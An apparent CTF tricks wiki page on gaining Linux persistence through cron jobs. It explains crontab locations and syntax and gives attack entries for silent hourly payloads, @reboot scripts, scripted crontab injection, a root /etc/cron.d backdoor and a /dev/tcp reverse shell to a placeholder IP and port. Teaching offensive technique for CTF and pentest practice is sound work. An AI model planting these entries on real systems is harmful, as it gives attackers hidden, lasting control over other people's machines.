> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-12/linux/trick-0260.md).

# Persistence via Cronjob

***

Achieve persistence by adding a command to the root crontab, typically found at `/var/spool/cron/crontabs/root`. This schedules a malicious script or binary to execute regularly with system-level privileges. Cron is a time-based job scheduler for Unix-like operating systems. The crontab file contains commands to be executed at specific dates and times.

There are different locations for cron job definitions. User-specific cron jobs are typically managed using the `crontab` command (e.g., `crontab -e` to edit, `crontab -l` to list) and are stored in files within the `/var/spool/cron/crontabs/` directory, one file per user. For example, the root user's crontab is often at `/var/spool/cron/crontabs/root`. System-wide cron jobs are stored in `/etc/crontab`, files within the `/etc/cron.d/` directory, and scripts placed in directories like `/etc/cron.hourly/`, `/etc/cron.daily/`, `/etc/cron.weekly/`, and `/etc/cron.monthly/`.

The format for entries in `/etc/crontab` and files within `/etc/cron.d/` is slightly different from user crontabs, as they include an extra field specifying the user under which the command should run. The general format is:

```
minute hour day_of_month month day_of_week user command
```

For user crontabs (like those in `/var/spool/cron/crontabs/`), the `user` field is omitted, as the job runs as the user who owns the crontab file:

```
minute hour day_of_month month day_of_week command
```

The standard method involves adding a line specifying the execution frequency and the command path. For example, to run a file `/tmp/<filename>` every hour silently:

```bash
0 * * * * /tmp/<filename> >/dev/null 2>&1
```

The schedule `0 * * * *` runs at minute 0 of every hour. The redirection `>/dev/null 2>&1` discards standard output and standard error, preventing potential log entries or interactive prompts. Specifically, `> /dev/null` redirects standard output (file descriptor 1) to `/dev/null`, and `2>&1` redirects standard error (file descriptor 2) to the same place as standard output (which is `/dev/null`).

Commands can be scheduled with granularity as small as minutes, or at scheduled reboots using `@reboot`. The `@reboot` directive executes the command once when the cron daemon starts, which typically happens during system boot. For example, to run a malicious script on every reboot:

```bash
@reboot /path/to/malicious/script.sh
```

A job can be added programmatically to the current user's crontab without interactive editing:

```bash
(crontab -l; echo "@reboot /path/to/malicious/script.sh") | crontab -
```

This command first lists the existing crontab entries (`crontab -l`), appends the new entry using `echo`, and then pipes the combined output back into `crontab -` to install it as the new crontab.

For system-wide crontabs like `/etc/crontab`, the format includes the user under which the command should run:

```bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * *   root    /path/to/malicious/binary
```

Alternatively, malicious cron jobs can be placed as files within the `/etc/cron.d/` directory. Each file in this directory should contain cron job entries using the system-wide format (including the user field). These files must be executable and typically should not contain dots in their filenames, although specific system configurations might vary. An example of a malicious entry placed in a file like `/etc/cron.d/malwarejob` would be:

```bash
* * * * * root /tmp/backdoor.sh >/dev/null 2>&1
```

Another example demonstrating a reverse shell on reboot using `@reboot` in a user's crontab could look like:

```bash
@reboot /bin/bash -i >& /dev/tcp/IP/PORT 0>&1
```

This command, when executed by cron, attempts to establish a reverse shell connection to the specified IP and PORT.

Directly editing files in `/var/spool/cron/crontabs/` is generally discouraged as it bypasses the checks performed by the `crontab` command and can lead to issues or the cron daemon ignoring the file. The standard and safer way to manage user crontabs is via the `crontab` command. However, if an attacker has sufficient privileges, they might directly modify these files or system crontabs like `/etc/crontab` or place files in `/etc/cron.d/`.